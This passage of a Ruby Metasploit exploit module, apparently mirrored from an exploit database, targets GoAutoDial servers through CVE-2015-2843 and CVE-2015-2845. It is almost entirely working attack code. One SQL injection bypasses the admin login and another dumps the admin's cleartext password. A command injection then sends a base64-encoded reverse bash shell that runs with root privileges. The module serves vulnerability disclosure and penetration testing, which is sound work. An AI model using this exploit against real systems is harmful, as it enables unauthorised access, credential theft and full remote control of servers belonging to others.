This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris McCurley', # Discovery & Metasploit module ], 'References' => [ ['CVE', '2015-2843'], ['CVE', '2015-2845'] ], 'Platform' => %w{unix}, 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 21 2015')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 443]), OptBool.new('SSL', [false, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path', '/']) ]) end def check res = check_version() if res and res.body =~ /1421902800/ return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def check_version() uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'changelog.txt'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' } }) end def sqli_auth_bypass() uri = target_uri.path send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' }, 'vars_post' => { 'user_name' => 'admin', 'user_pass' => '\'%20or%20\'1\'%3D\'1' } }) end def sqli_admin_pass(cookies) uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity', 'Cookie' => cookies } }) end # # Run the actual exploit # def execute_command() encoded = Rex::Text.encode_base64("#{payload.encoded}") params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\"" uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity', 'Cookie' => @cookie } }) end def exploit() print_status("#{rhost}:#{rport} - Trying SQL injection...") res1 = sqli_auth_bypass() if res1 && res1.code == 200 print_good('Authentication Bypass (SQLi) was successful') else print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed') end @cookie = res1.get_cookies print_status("#{rhost}:#{rport} - Dumping admin password...") res = sqli_admin_pass(@cookie) if res print_good(res.body) else print_error('Error: No creds returned, possible mitigations are in place.') end print_status("#{rhost}:#{rport} - Sending payload...waiting for connection") execute_command() end end # Iranian Exploit DataBase = http://IeDb.Ir [2017-07-07]
